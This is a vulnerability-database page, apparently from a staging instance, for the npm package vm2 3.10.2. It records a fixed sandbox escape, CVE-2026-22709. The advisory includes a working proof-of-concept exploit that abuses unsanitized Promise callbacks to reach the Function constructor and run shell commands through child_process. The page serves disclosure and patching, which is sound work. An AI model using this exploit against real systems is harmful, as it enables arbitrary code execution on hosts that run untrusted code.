Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/vm2@3.10.2
purl pkg:npm/vm2@3.10.2
Vulnerabilities affecting this package (0)
Vulnerability Summary Fixed by
This package is not known to be affected by vulnerabilities.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-gqm5-bhj5-k3cf vm2 has a Sandbox Escape In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. CVE-2026-22709
GHSA-99p7-6v5w-7xg8

Date Actor Action Vulnerability Source VulnerableCode Version
2026-06-02T04:49:44.634086+00:00 GitLab Importer Fixing VCID-gqm5-bhj5-k3cf https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/vm2/CVE-2026-22709.yml 38.6.0